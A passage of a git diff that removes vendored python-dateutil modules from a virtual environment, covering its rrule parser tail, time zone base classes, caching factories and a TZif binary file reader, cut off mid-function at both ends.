tzinfos) - if len(dtvals) != 1: - raise ValueError("Multiple DTSTART values specified:" + - value) - dtstart = dtvals[0] - else: - raise ValueError("unsupported property: "+name) - if (forceset or len(rrulevals) > 1 or rdatevals - or exrulevals or exdatevals): - if not parser and (rdatevals or exdatevals): - from dateutil import parser - rset = rruleset(cache=cache) - for value in rrulevals: - rset.rrule(self._parse_rfc_rrule(value, dtstart=dtstart, - ignoretz=ignoretz, - tzinfos=tzinfos)) - for value in rdatevals: - for datestr in value.split(','): - rset.rdate(parser.parse(datestr, - ignoretz=ignoretz, - tzinfos=tzinfos)) - for value in exrulevals: - rset.exrule(self._parse_rfc_rrule(value, dtstart=dtstart, - ignoretz=ignoretz, - tzinfos=tzinfos)) - for value in exdatevals: - rset.exdate(value) - if compatible and dtstart: - rset.rdate(dtstart) - return rset - else: - return self._parse_rfc_rrule(rrulevals[0], - dtstart=dtstart, - cache=cache, - ignoretz=ignoretz, - tzinfos=tzinfos) - - def __call__(self, s, **kwargs): - return self._parse_rfc(s, **kwargs) - - -rrulestr = _rrulestr() - -# vim:ts=4:sw=4:et diff --git a/venv/Lib/site-packages/dateutil/tz/__init__.py b/venv/Lib/site-packages/dateutil/tz/__init__.py deleted file mode 100644 index af1352c47292f4eebc5cae8da45641b5544558e3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/tz/__init__.py +++ /dev/null @@ -1,12 +0,0 @@ -# -*- coding: utf-8 -*- -from .tz import * -from .tz import __doc__ - -__all__ = ["tzutc", "tzoffset", "tzlocal", "tzfile", "tzrange", - "tzstr", "tzical", "tzwin", "tzwinlocal", "gettz", - "enfold", "datetime_ambiguous", "datetime_exists", - "resolve_imaginary", "UTC", "DeprecatedTzFormatWarning"] - - -class DeprecatedTzFormatWarning(Warning): - """Warning raised when time zones are parsed from deprecated formats.""" diff --git a/venv/Lib/site-packages/dateutil/tz/_common.py b/venv/Lib/site-packages/dateutil/tz/_common.py deleted file mode 100644 index e6ac11831522b266114d5b68ee1da298e3aeb14a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/tz/_common.py +++ /dev/null @@ -1,419 +0,0 @@ -from six import PY2 - -from functools import wraps - -from datetime import datetime, timedelta, tzinfo - - -ZERO = timedelta(0) - -__all__ = ['tzname_in_python2', 'enfold'] - - -def tzname_in_python2(namefunc): - """Change unicode output into bytestrings in Python 2 - - tzname() API changed in Python 3. It used to return bytes, but was changed - to unicode strings - """ - if PY2: - @wraps(namefunc) - def adjust_encoding(*args, **kwargs): - name = namefunc(*args, **kwargs) - if name is not None: - name = name.encode() - - return name - - return adjust_encoding - else: - return namefunc - - -# The following is adapted from Alexander Belopolsky's tz library -# https://github.com/abalkin/tz -if hasattr(datetime, 'fold'): - # This is the pre-python 3.6 fold situation - def enfold(dt, fold=1): - """ - Provides a unified interface for assigning the ``fold`` attribute to - datetimes both before and after the implementation of PEP-495. - - :param fold: - The value for the ``fold`` attribute in the returned datetime. This - should be either 0 or 1. - - :return: - Returns an object for which ``getattr(dt, 'fold', 0)`` returns - ``fold`` for all versions of Python. In versions prior to - Python 3.6, this is a ``_DatetimeWithFold`` object, which is a - subclass of :py:class:`datetime.datetime` with the ``fold`` - attribute added, if ``fold`` is 1. - - .. versionadded:: 2.6.0 - """ - return dt.replace(fold=fold) - -else: - class _DatetimeWithFold(datetime): - """ - This is a class designed to provide a PEP 495-compliant interface for - Python versions before 3.6. It is used only for dates in a fold, so - the ``fold`` attribute is fixed at ``1``. - - .. versionadded:: 2.6.0 - """ - __slots__ = () - - def replace(self, *args, **kwargs): - """ - Return a datetime with the same attributes, except for those - attributes given new values by whichever keyword arguments are - specified. Note that tzinfo=None can be specified to create a naive - datetime from an aware datetime with no conversion of date and time - data. - - This is reimplemented in ``_DatetimeWithFold`` because pypy3 will - return a ``datetime.datetime`` even if ``fold`` is unchanged. - """ - argnames = ( - 'year', 'month', 'day', 'hour', 'minute', 'second', - 'microsecond', 'tzinfo' - ) - - for arg, argname in zip(args, argnames): - if argname in kwargs: - raise TypeError('Duplicate argument: {}'.format(argname)) - - kwargs[argname] = arg - - for argname in argnames: - if argname not in kwargs: - kwargs[argname] = getattr(self, argname) - - dt_class = self.__class__ if kwargs.get('fold', 1) else datetime - - return dt_class(**kwargs) - - @property - def fold(self): - return 1 - - def enfold(dt, fold=1): - """ - Provides a unified interface for assigning the ``fold`` attribute to - datetimes both before and after the implementation of PEP-495. - - :param fold: - The value for the ``fold`` attribute in the returned datetime. This - should be either 0 or 1. - - :return: - Returns an object for which ``getattr(dt, 'fold', 0)`` returns - ``fold`` for all versions of Python. In versions prior to - Python 3.6, this is a ``_DatetimeWithFold`` object, which is a - subclass of :py:class:`datetime.datetime` with the ``fold`` - attribute added, if ``fold`` is 1. - - .. versionadded:: 2.6.0 - """ - if getattr(dt, 'fold', 0) == fold: - return dt - - args = dt.timetuple()[:6] - args += (dt.microsecond, dt.tzinfo) - - if fold: - return _DatetimeWithFold(*args) - else: - return datetime(*args) - - -def _validate_fromutc_inputs(f): - """ - The CPython version of ``fromutc`` checks that the input is a ``datetime`` - object and that ``self`` is attached as its ``tzinfo``. - """ - @wraps(f) - def fromutc(self, dt): - if not isinstance(dt, datetime): - raise TypeError("fromutc() requires a datetime argument") - if dt.tzinfo is not self: - raise ValueError("dt.tzinfo is not self") - - return f(self, dt) - - return fromutc - - -class _tzinfo(tzinfo): - """ - Base class for all ``dateutil`` ``tzinfo`` objects. - """ - - def is_ambiguous(self, dt): - """ - Whether or not the "wall time" of a given datetime is ambiguous in this - zone. - - :param dt: - A :py:class:`datetime.datetime`, naive or time zone aware. - - - :return: - Returns ``True`` if ambiguous, ``False`` otherwise. - - .. versionadded:: 2.6.0 - """ - - dt = dt.replace(tzinfo=self) - - wall_0 = enfold(dt, fold=0) - wall_1 = enfold(dt, fold=1) - - same_offset = wall_0.utcoffset() == wall_1.utcoffset() - same_dt = wall_0.replace(tzinfo=None) == wall_1.replace(tzinfo=None) - - return same_dt and not same_offset - - def _fold_status(self, dt_utc, dt_wall): - """ - Determine the fold status of a "wall" datetime, given a representation - of the same datetime as a (naive) UTC datetime. This is calculated based - on the assumption that ``dt.utcoffset() - dt.dst()`` is constant for all - datetimes, and that this offset is the actual number of hours separating - ``dt_utc`` and ``dt_wall``. - - :param dt_utc: - Representation of the datetime as UTC - - :param dt_wall: - Representation of the datetime as "wall time". This parameter must - either have a `fold` attribute or have a fold-naive - :class:`datetime.tzinfo` attached, otherwise the calculation may - fail. - """ - if self.is_ambiguous(dt_wall): - delta_wall = dt_wall - dt_utc - _fold = int(delta_wall == (dt_utc.utcoffset() - dt_utc.dst())) - else: - _fold = 0 - - return _fold - - def _fold(self, dt): - return getattr(dt, 'fold', 0) - - def _fromutc(self, dt): - """ - Given a timezone-aware datetime in a given timezone, calculates a - timezone-aware datetime in a new timezone. - - Since this is the one time that we *know* we have an unambiguous - datetime object, we take this opportunity to determine whether the - datetime is ambiguous and in a "fold" state (e.g. if it's the first - occurrence, chronologically, of the ambiguous datetime). - - :param dt: - A timezone-aware :class:`datetime.datetime` object. - """ - - # Re-implement the algorithm from Python's datetime.py - dtoff = dt.utcoffset() - if dtoff is None: - raise ValueError("fromutc() requires a non-None utcoffset() " - "result") - - # The original datetime.py code assumes that `dst()` defaults to - # zero during ambiguous times. PEP 495 inverts this presumption, so - # for pre-PEP 495 versions of python, we need to tweak the algorithm. - dtdst = dt.dst() - if dtdst is None: - raise ValueError("fromutc() requires a non-None dst() result") - delta = dtoff - dtdst - - dt += delta - # Set fold=1 so we can default to being in the fold for - # ambiguous dates. - dtdst = enfold(dt, fold=1).dst() - if dtdst is None: - raise ValueError("fromutc(): dt.dst gave inconsistent " - "results; cannot convert") - return dt + dtdst - - @_validate_fromutc_inputs - def fromutc(self, dt): - """ - Given a timezone-aware datetime in a given timezone, calculates a - timezone-aware datetime in a new timezone. - - Since this is the one time that we *know* we have an unambiguous - datetime object, we take this opportunity to determine whether the - datetime is ambiguous and in a "fold" state (e.g. if it's the first - occurrence, chronologically, of the ambiguous datetime). - - :param dt: - A timezone-aware :class:`datetime.datetime` object. - """ - dt_wall = self._fromutc(dt) - - # Calculate the fold status given the two datetimes. - _fold = self._fold_status(dt, dt_wall) - - # Set the default fold value for ambiguous dates - return enfold(dt_wall, fold=_fold) - - -class tzrangebase(_tzinfo): - """ - This is an abstract base class for time zones represented by an annual - transition into and out of DST. Child classes should implement the following - methods: - - * ``__init__(self, *args, **kwargs)`` - * ``transitions(self, year)`` - this is expected to return a tuple of - datetimes representing the DST on and off transitions in standard - time. - - A fully initialized ``tzrangebase`` subclass should also provide the - following attributes: - * ``hasdst``: Boolean whether or not the zone uses DST. - * ``_dst_offset`` / ``_std_offset``: :class:`datetime.timedelta` objects - representing the respective UTC offsets. - * ``_dst_abbr`` / ``_std_abbr``: Strings representing the timezone short - abbreviations in DST and STD, respectively. - * ``_hasdst``: Whether or not the zone has DST. - - .. versionadded:: 2.6.0 - """ - def __init__(self): - raise NotImplementedError('tzrangebase is an abstract base class') - - def utcoffset(self, dt): - isdst = self._isdst(dt) - - if isdst is None: - return None - elif isdst: - return self._dst_offset - else: - return self._std_offset - - def dst(self, dt): - isdst = self._isdst(dt) - - if isdst is None: - return None - elif isdst: - return self._dst_base_offset - else: - return ZERO - - @tzname_in_python2 - def tzname(self, dt): - if self._isdst(dt): - return self._dst_abbr - else: - return self._std_abbr - - def fromutc(self, dt): - """ Given a datetime in UTC, return local time """ - if not isinstance(dt, datetime): - raise TypeError("fromutc() requires a datetime argument") - - if dt.tzinfo is not self: - raise ValueError("dt.tzinfo is not self") - - # Get transitions - if there are none, fixed offset - transitions = self.transitions(dt.year) - if transitions is None: - return dt + self.utcoffset(dt) - - # Get the transition times in UTC - dston, dstoff = transitions - - dston -= self._std_offset - dstoff -= self._std_offset - - utc_transitions = (dston, dstoff) - dt_utc = dt.replace(tzinfo=None) - - isdst = self._naive_isdst(dt_utc, utc_transitions) - - if isdst: - dt_wall = dt + self._dst_offset - else: - dt_wall = dt + self._std_offset - - _fold = int(not isdst and self.is_ambiguous(dt_wall)) - - return enfold(dt_wall, fold=_fold) - - def is_ambiguous(self, dt): - """ - Whether or not the "wall time" of a given datetime is ambiguous in this - zone. - - :param dt: - A :py:class:`datetime.datetime`, naive or time zone aware. - - - :return: - Returns ``True`` if ambiguous, ``False`` otherwise. - - .. versionadded:: 2.6.0 - """ - if not self.hasdst: - return False - - start, end = self.transitions(dt.year) - - dt = dt.replace(tzinfo=None) - return (end <= dt < end + self._dst_base_offset) - - def _isdst(self, dt): - if not self.hasdst: - return False - elif dt is None: - return None - - transitions = self.transitions(dt.year) - - if transitions is None: - return False - - dt = dt.replace(tzinfo=None) - - isdst = self._naive_isdst(dt, transitions) - - # Handle ambiguous dates - if not isdst and self.is_ambiguous(dt): - return not self._fold(dt) - else: - return isdst - - def _naive_isdst(self, dt, transitions): - dston, dstoff = transitions - - dt = dt.replace(tzinfo=None) - - if dston < dstoff: - isdst = dston <= dt < dstoff - else: - isdst = not dstoff <= dt < dston - - return isdst - - @property - def _dst_base_offset(self): - return self._dst_offset - self._std_offset - - __hash__ = None - - def __ne__(self, other): - return not (self == other) - - def __repr__(self): - return "%s(...)" % self.__class__.__name__ - - __reduce__ = object.__reduce__ diff --git a/venv/Lib/site-packages/dateutil/tz/_factories.py b/venv/Lib/site-packages/dateutil/tz/_factories.py deleted file mode 100644 index f8a65891a023ebf9eb0c24d391ba67541b7133f1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/tz/_factories.py +++ /dev/null @@ -1,80 +0,0 @@ -from datetime import timedelta -import weakref -from collections import OrderedDict - -from six.moves import _thread - - -class _TzSingleton(type): - def __init__(cls, *args, **kwargs): - cls.__instance = None - super(_TzSingleton, cls).__init__(*args, **kwargs) - - def __call__(cls): - if cls.__instance is None: - cls.__instance = super(_TzSingleton, cls).__call__() - return cls.__instance - - -class _TzFactory(type): - def instance(cls, *args, **kwargs): - """Alternate constructor that returns a fresh instance""" - return type.__call__(cls, *args, **kwargs) - - -class _TzOffsetFactory(_TzFactory): - def __init__(cls, *args, **kwargs): - cls.__instances = weakref.WeakValueDictionary() - cls.__strong_cache = OrderedDict() - cls.__strong_cache_size = 8 - - cls._cache_lock = _thread.allocate_lock() - - def __call__(cls, name, offset): - if isinstance(offset, timedelta): - key = (name, offset.total_seconds()) - else: - key = (name, offset) - - instance = cls.__instances.get(key, None) - if instance is None: - instance = cls.__instances.setdefault(key, - cls.instance(name, offset)) - - # This lock may not be necessary in Python 3. See GH issue #901 - with cls._cache_lock: - cls.__strong_cache[key] = cls.__strong_cache.pop(key, instance) - - # Remove an item if the strong cache is overpopulated - if len(cls.__strong_cache) > cls.__strong_cache_size: - cls.__strong_cache.popitem(last=False) - - return instance - - -class _TzStrFactory(_TzFactory): - def __init__(cls, *args, **kwargs): - cls.__instances = weakref.WeakValueDictionary() - cls.__strong_cache = OrderedDict() - cls.__strong_cache_size = 8 - - cls.__cache_lock = _thread.allocate_lock() - - def __call__(cls, s, posix_offset=False): - key = (s, posix_offset) - instance = cls.__instances.get(key, None) - - if instance is None: - instance = cls.__instances.setdefault(key, - cls.instance(s, posix_offset)) - - # This lock may not be necessary in Python 3. See GH issue #901 - with cls.__cache_lock: - cls.__strong_cache[key] = cls.__strong_cache.pop(key, instance) - - # Remove an item if the strong cache is overpopulated - if len(cls.__strong_cache) > cls.__strong_cache_size: - cls.__strong_cache.popitem(last=False) - - return instance - diff --git a/venv/Lib/site-packages/dateutil/tz/tz.py b/venv/Lib/site-packages/dateutil/tz/tz.py deleted file mode 100644 index 617591446bd92eb1cc7b7d67fa3f17435e691cdd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/tz/tz.py +++ /dev/null @@ -1,1849 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module offers timezone implementations subclassing the abstract -:py:class:`datetime.tzinfo` type. There are classes to handle tzfile format -files (usually are in :file:`/etc/localtime`, :file:`/usr/share/zoneinfo`, -etc), TZ environment string (in all known formats), given ranges (with help -from relative deltas), local machine timezone, fixed offset timezone, and UTC -timezone. -""" -import datetime -import struct -import time -import sys -import os -import bisect -import weakref -from collections import OrderedDict - -import six -from six import string_types -from six.moves import _thread -from ._common import tzname_in_python2, _tzinfo -from ._common import tzrangebase, enfold -from ._common import _validate_fromutc_inputs - -from ._factories import _TzSingleton, _TzOffsetFactory -from ._factories import _TzStrFactory -try: - from .win import tzwin, tzwinlocal -except ImportError: - tzwin = tzwinlocal = None - -# For warning about rounding tzinfo -from warnings import warn - -ZERO = datetime.timedelta(0) -EPOCH = datetime.datetime(1970, 1, 1, 0, 0) -EPOCHORDINAL = EPOCH.toordinal() - - -@six.add_metaclass(_TzSingleton) -class tzutc(datetime.tzinfo): - """ - This is a tzinfo object that represents the UTC time zone. - - **Examples:** - - .. doctest:: - - >>> from datetime import * - >>> from dateutil.tz import * - - >>> datetime.now() - datetime.datetime(2003, 9, 27, 9, 40, 1, 521290) - - >>> datetime.now(tzutc()) - datetime.datetime(2003, 9, 27, 12, 40, 12, 156379, tzinfo=tzutc()) - - >>> datetime.now(tzutc()).tzname() - 'UTC' - - .. versionchanged:: 2.7.0 - ``tzutc()`` is now a singleton, so the result of ``tzutc()`` will - always return the same object. - - .. doctest:: - - >>> from dateutil.tz import tzutc, UTC - >>> tzutc() is tzutc() - True - >>> tzutc() is UTC - True - """ - def utcoffset(self, dt): - return ZERO - - def dst(self, dt): - return ZERO - - @tzname_in_python2 - def tzname(self, dt): - return "UTC" - - def is_ambiguous(self, dt): - """ - Whether or not the "wall time" of a given datetime is ambiguous in this - zone. - - :param dt: - A :py:class:`datetime.datetime`, naive or time zone aware. - - - :return: - Returns ``True`` if ambiguous, ``False`` otherwise. - - .. versionadded:: 2.6.0 - """ - return False - - @_validate_fromutc_inputs - def fromutc(self, dt): - """ - Fast track version of fromutc() returns the original ``dt`` object for - any valid :py:class:`datetime.datetime` object. - """ - return dt - - def __eq__(self, other): - if not isinstance(other, (tzutc, tzoffset)): - return NotImplemented - - return (isinstance(other, tzutc) or - (isinstance(other, tzoffset) and other._offset == ZERO)) - - __hash__ = None - - def __ne__(self, other): - return not (self == other) - - def __repr__(self): - return "%s()" % self.__class__.__name__ - - __reduce__ = object.__reduce__ - - -#: Convenience constant providing a :class:`tzutc()` instance -#: -#: .. versionadded:: 2.7.0 -UTC = tzutc() - - -@six.add_metaclass(_TzOffsetFactory) -class tzoffset(datetime.tzinfo): - """ - A simple class for representing a fixed offset from UTC. - - :param name: - The timezone name, to be returned when ``tzname()`` is called. - :param offset: - The time zone offset in seconds, or (since version 2.6.0, represented - as a :py:class:`datetime.timedelta` object). - """ - def __init__(self, name, offset): - self._name = name - - try: - # Allow a timedelta - offset = offset.total_seconds() - except (TypeError, AttributeError): - pass - - self._offset = datetime.timedelta(seconds=_get_supported_offset(offset)) - - def utcoffset(self, dt): - return self._offset - - def dst(self, dt): - return ZERO - - @tzname_in_python2 - def tzname(self, dt): - return self._name - - @_validate_fromutc_inputs - def fromutc(self, dt): - return dt + self._offset - - def is_ambiguous(self, dt): - """ - Whether or not the "wall time" of a given datetime is ambiguous in this - zone. - - :param dt: - A :py:class:`datetime.datetime`, naive or time zone aware. - :return: - Returns ``True`` if ambiguous, ``False`` otherwise. - - .. versionadded:: 2.6.0 - """ - return False - - def __eq__(self, other): - if not isinstance(other, tzoffset): - return NotImplemented - - return self._offset == other._offset - - __hash__ = None - - def __ne__(self, other): - return not (self == other) - - def __repr__(self): - return "%s(%s, %s)" % (self.__class__.__name__, - repr(self._name), - int(self._offset.total_seconds())) - - __reduce__ = object.__reduce__ - - -class tzlocal(_tzinfo): - """ - A :class:`tzinfo` subclass built around the ``time`` timezone functions. - """ - def __init__(self): - super(tzlocal, self).__init__() - - self._std_offset = datetime.timedelta(seconds=-time.timezone) - if time.daylight: - self._dst_offset = datetime.timedelta(seconds=-time.altzone) - else: - self._dst_offset = self._std_offset - - self._dst_saved = self._dst_offset - self._std_offset - self._hasdst = bool(self._dst_saved) - self._tznames = tuple(time.tzname) - - def utcoffset(self, dt): - if dt is None and self._hasdst: - return None - - if self._isdst(dt): - return self._dst_offset - else: - return self._std_offset - - def dst(self, dt): - if dt is None and self._hasdst: - return None - - if self._isdst(dt): - return self._dst_offset - self._std_offset - else: - return ZERO - - @tzname_in_python2 - def tzname(self, dt): - return self._tznames[self._isdst(dt)] - - def is_ambiguous(self, dt): - """ - Whether or not the "wall time" of a given datetime is ambiguous in this - zone. - - :param dt: - A :py:class:`datetime.datetime`, naive or time zone aware. - - - :return: - Returns ``True`` if ambiguous, ``False`` otherwise. - - .. versionadded:: 2.6.0 - """ - naive_dst = self._naive_is_dst(dt) - return (not naive_dst and - (naive_dst != self._naive_is_dst(dt - self._dst_saved))) - - def _naive_is_dst(self, dt): - timestamp = _datetime_to_timestamp(dt) - return time.localtime(timestamp + time.timezone).tm_isdst - - def _isdst(self, dt, fold_naive=True): - # We can't use mktime here. It is unstable when deciding if - # the hour near to a change is DST or not. - # - # timestamp = time.mktime((dt.year, dt.month, dt.day, dt.hour, - # dt.minute, dt.second, dt.weekday(), 0, -1)) - # return time.localtime(timestamp).tm_isdst - # - # The code above yields the following result: - # - # >>> import tz, datetime - # >>> t = tz.tzlocal() - # >>> datetime.datetime(2003,2,15,23,tzinfo=t).tzname() - # 'BRDT' - # >>> datetime.datetime(2003,2,16,0,tzinfo=t).tzname() - # 'BRST' - # >>> datetime.datetime(2003,2,15,23,tzinfo=t).tzname() - # 'BRST' - # >>> datetime.datetime(2003,2,15,22,tzinfo=t).tzname() - # 'BRDT' - # >>> datetime.datetime(2003,2,15,23,tzinfo=t).tzname() - # 'BRDT' - # - # Here is a more stable implementation: - # - if not self._hasdst: - return False - - # Check for ambiguous times: - dstval = self._naive_is_dst(dt) - fold = getattr(dt, 'fold', None) - - if self.is_ambiguous(dt): - if fold is not None: - return not self._fold(dt) - else: - return True - - return dstval - - def __eq__(self, other): - if isinstance(other, tzlocal): - return (self._std_offset == other._std_offset and - self._dst_offset == other._dst_offset) - elif isinstance(other, tzutc): - return (not self._hasdst and - self._tznames[0] in {'UTC', 'GMT'} and - self._std_offset == ZERO) - elif isinstance(other, tzoffset): - return (not self._hasdst and - self._tznames[0] == other._name and - self._std_offset == other._offset) - else: - return NotImplemented - - __hash__ = None - - def __ne__(self, other): - return not (self == other) - - def __repr__(self): - return "%s()" % self.__class__.__name__ - - __reduce__ = object.__reduce__ - - -class _ttinfo(object): - __slots__ = ["offset", "delta", "isdst", "abbr", - "isstd", "isgmt", "dstoffset"] - - def __init__(self): - for attr in self.__slots__: - setattr(self, attr, None) - - def __repr__(self): - l = [] - for attr in self.__slots__: - value = getattr(self, attr) - if value is not None: - l.append("%s=%s" % (attr, repr(value))) - return "%s(%s)" % (self.__class__.__name__, ", ".join(l)) - - def __eq__(self, other): - if not isinstance(other, _ttinfo): - return NotImplemented - - return (self.offset == other.offset and - self.delta == other.delta and - self.isdst == other.isdst and - self.abbr == other.abbr and - self.isstd == other.isstd and - self.isgmt == other.isgmt and - self.dstoffset == other.dstoffset) - - __hash__ = None - - def __ne__(self, other): - return not (self == other) - - def __getstate__(self): - state = {} - for name in self.__slots__: - state[name] = getattr(self, name, None) - return state - - def __setstate__(self, state): - for name in self.__slots__: - if name in state: - setattr(self, name, state[name]) - - -class _tzfile(object): - """ - Lightweight class for holding the relevant transition and time zone - information read from binary tzfiles. - """ - attrs = ['trans_list', 'trans_list_utc', 'trans_idx', 'ttinfo_list', - 'ttinfo_std', 'ttinfo_dst', 'ttinfo_before', 'ttinfo_first'] - - def __init__(self, **kwargs): - for attr in self.attrs: - setattr(self, attr, kwargs.get(attr, None)) - - -class tzfile(_tzinfo): - """ - This is a ``tzinfo`` subclass that allows one to use the ``tzfile(5)`` - format timezone files to extract current and historical zone information. - - :param fileobj: - This can be an opened file stream or a file name that the time zone - information can be read from. - - :param filename: - This is an optional parameter specifying the source of the time zone - information in the event that ``fileobj`` is a file object. If omitted - and ``fileobj`` is a file stream, this parameter will be set either to - ``fileobj``'s ``name`` attribute or to ``repr(fileobj)``. - - See `Sources for Time Zone and Daylight Saving Time Data - `_ for more information. - Time zone files can be compiled from the `IANA Time Zone database files - `_ with the `zic time zone compiler - `_ - - .. note:: - - Only construct a ``tzfile`` directly if you have a specific timezone - file on disk that you want to read into a Python ``tzinfo`` object. - If you want to get a ``tzfile`` representing a specific IANA zone, - (e.g. ``'America/New_York'``), you should call - :func:`dateutil.tz.gettz` with the zone identifier. - - - **Examples:** - - Using the US Eastern time zone as an example, we can see that a ``tzfile`` - provides time zone information for the standard Daylight Saving offsets: - - .. testsetup:: tzfile - - from dateutil.tz import gettz - from datetime import datetime - - .. doctest:: tzfile - - >>> NYC = gettz('America/New_York') - >>> NYC - tzfile('/usr/share/zoneinfo/America/New_York') - - >>> print(datetime(2016, 1, 3, tzinfo=NYC)) # EST - 2016-01-03 00:00:00-05:00 - - >>> print(datetime(2016, 7, 7, tzinfo=NYC)) # EDT - 2016-07-07 00:00:00-04:00 - - - The ``tzfile`` structure contains a fully history of the time zone, - so historical dates will also have the right offsets. For example, before - the adoption of the UTC standards, New York used local solar mean time: - - .. doctest:: tzfile - - >>> print(datetime(1901, 4, 12, tzinfo=NYC)) # LMT - 1901-04-12 00:00:00-04:56 - - And during World War II, New York was on "Eastern War Time", which was a - state of permanent daylight saving time: - - .. doctest:: tzfile - - >>> print(datetime(1944, 2, 7, tzinfo=NYC)) # EWT - 1944-02-07 00:00:00-04:00 - - """ - - def __init__(self, fileobj, filename=None): - super(tzfile, self).__init__() - - file_opened_here = False - if isinstance(fileobj, string_types): - self._filename = fileobj - fileobj = open(fileobj, 'rb') - file_opened_here = True - elif filename is not None: - self._filename = filename - elif hasattr(fileobj, "name"): - self._filename = fileobj.name - else: - self._filename = repr(fileobj) - - if fileobj is not None: - if not file_opened_here: - fileobj = _nullcontext(fileobj) - - with fileobj as file_stream: - tzobj = self._read_tzfile(file_stream) - - self._set_tzdata(tzobj) - - def _set_tzdata(self, tzobj): - """ Set the time zone data of this object from a _tzfile object """ - # Copy the relevant attributes over as private attributes - for attr in _tzfile.attrs: - setattr(self, '_' + attr, getattr(tzobj, attr)) - - def _read_tzfile(self, fileobj): - out = _tzfile() - - # From tzfile(5): - # - # The time zone information files used by tzset(3) - # begin with the magic characters "TZif" to identify - # them as time zone information files, followed by - # sixteen bytes reserved for future use, followed by - # six four-byte values of type long, written in a - # ``standard'' byte order (the high-order byte - # of the value is written first). - if fileobj.read(4).decode() != "TZif": - raise ValueError("magic not found") - - fileobj.read(16) - - ( - # The number of UTC/local indicators stored in the file. - ttisgmtcnt, - - # The number of standard/wall indicators stored in the file. - ttisstdcnt, - - # The number of leap seconds for which data is - # stored in the file. - leapcnt, - - # The number of "transition times" for which data - # is stored in the file. - timecnt, - - # The number of "local time types" for which data - # is stored in the file (must not be zero). - typecnt, - - # The number of characters of "time zone - # abbreviation strings" stored in the file. - charcnt, - - ) = struct.unpack(">6l", fileobj.read(24)) - - # The above header is followed by tzh_timecnt four-byte - # values of type long, sorted in ascending order. - # These values are written in ``standard'' byte order. - # Each is used as a transition time (as returned by - # time(2)) at which the rules for computing local time - # change. - - if timecnt: - out.trans_list_utc = list(struct.unpack(">%dl" % timecnt, - fileobj.read(timecnt*4))) - else: - out.trans_list_utc = [] - - # Next come tzh_timecnt one-byte values of type unsigned - # char; each one tells which of the different types of - # ``local time'' types described in the file is associated - # with the same-indexed transition time. These values - # serve as indices into an array of ttinfo structures that - # appears next in the file. - - if timecnt: - out.trans_idx = struct.unpack(">%dB" % timecnt, - fileobj.read(timecnt)) - else: - out.trans_idx = [] - - # Each ttinfo structure is written as a four-byte value - # for tt_gmtoff of type long, in a standard byte - # order, followed by a one-byte value for tt_isdst - # and a one-byte value for tt_abbrind. In each - # structure, tt_gmtoff gives the number of - # seconds to be added to UTC, tt_isdst tells whether - # tm_isdst should be set by localtime(3), and - # tt_abbrind serves as an index into the array of - # time zone abbreviation characters that follow the - # ttinfo structure(s) in the file. - - ttinfo = [] - - for i in range(typecnt): - ttinfo.append(struct.unpack(">lbb", fileobj.read(6))) - - abbr = fileobj.read(charcnt).decode() - - # Then there are tzh_leapcnt pairs of four-byte - # values, written in standard byte order; the - # first value of each pair gives the time (as - # returned by time(2)) at which a leap second - # occurs; the second gives the total number of - # leap seconds to be applied after the given time. - # The pairs of values are sorted in ascending order - # by time. - - # Not used, for now (but seek for correct file position) - if leapcnt: - fileobj.seek(leapcnt * 8, os.SEEK_CUR) - - # Then there are tzh_ttisstdcnt standard/wall - # indicators, each stored as a one-byte value; - # they tell whether the transition times associated - # with local time types were specified as standard - # time or wall clock time, and are used when - # a time zone file is used in handling POSIX-style - # time zone environment variables. - - if ttisstdcnt: - isstd = struct.unpack(">%db" % ttisstdcnt, - fileobj.read(ttisstdcnt)) - - # Finally, there are tzh_ttisgmtcnt UTC/local - # indicators, each stored as a one-byte value; - # they tell whether the transition times associated - # with local time types were specified as UTC or - # local time, and are used when a time zone file - # is used in handling POSIX-style time zone envi- - # ronment variables. - - if ttisgmtcnt: - isgmt = struct.unpack(">%db" % ttisgmtcnt, - fileobj.read(ttisgmtcnt)) - - # Build ttinfo list - out.ttinfo_list = [] - for i in range(typecnt): - gmtoff, isdst, abbrind = ttinfo[i] - gmtoff = _get_supported_offset(gmtoff) - tti = _ttinfo() - tti.offset = gmtoff - tti.dstoffset = datetime.timedelta(0) - tti.delta = datetime.timedelta(seconds=gmtoff) - tti.isdst = isdst - tti.abbr = abbr[abbrind:abbr.find('\x00', abbrind)] - tti.isstd = (ttisstdcnt > i and isstd[i] != 0) - tti.isgmt = (ttisgmtcnt > i and isgmt[i] != 0) - out.ttinfo_list.append(tti) - - # Replace ttinfo indexes for ttinfo objects. - out.trans_idx = [out.ttinfo_list[idx] for idx in out.trans_idx] - - # Set standard, dst, and before ttinfos. before will be - # used when a given time is before any transitions, - # and will be set to the first non-dst ttinfo, or to - # the first dst, if all of them are dst. - out.ttinfo_std = None - out.ttinfo_dst = None - out.ttinfo_before = None - if out.ttinfo_list: - if not out.trans_list_utc: - out.ttinfo_std = out.ttinfo_first = out.ttinfo_list[0] - else: - for i in range(timecnt-1, -1, -1): - tti = out.trans_idx[i] - if not out.ttinfo_std and not tti.isdst: - out.ttinfo_std = tti - elif not out.ttinfo_dst and tti.isdst: - out.ttinfo_dst = tti - - if out.ttinfo_std and out.ttinfo_dst: - break - else: - if out.ttinfo_dst and not out.ttinfo_std: - out.ttinfo_std = out.ttinfo_dst - - for tti in out.ttinfo_list: - if not tti.isdst: - out.ttinfo_before = tti - break - else: - out.ttinfo_before = out.ttinfo_list[0] - - # Now fix transition times to become relative to wall time. - # - # I'm not sure about this. In my tests, the tz source file - # is setup to wall time, and in the binary file isstd and - # isgmt are off, so it should be in wall time. OTOH, it's - # always in gmt time. Let me know if you have comments - # about this. - lastdst = None - lastoffset = None - lastdstoffset = None - lastbaseoffset = None - out.trans_list = [] - - for i, tti in enumerate(out.trans_idx): - offset = tti.offset - dstoffset = 0 - - if lastdst is not None: - if tti.isdst: - if not lastdst: - dstoffset = offset - lastoffset - - if not dstoffset and lastdstoffset: - dstoffset = lastdstoffset - - tti.dstoffset = datetime.timedelta(seconds=dstoffset) - lastdstoffset = dstoffset - - # If a time zone changes its base offset during a DST transition, - # then you need to adjust by the previous base offset to get the - # transition time in local time. Otherwise you use the current - # base offset. Ideally, I would have some mathematical proof of - # why this is true, but I haven't really thought about it enough. - baseoffset = offset - dstoffset - adjustment = baseoffset - if (lastbaseoffset is not None and baseoffset != lastbaseoffset - and 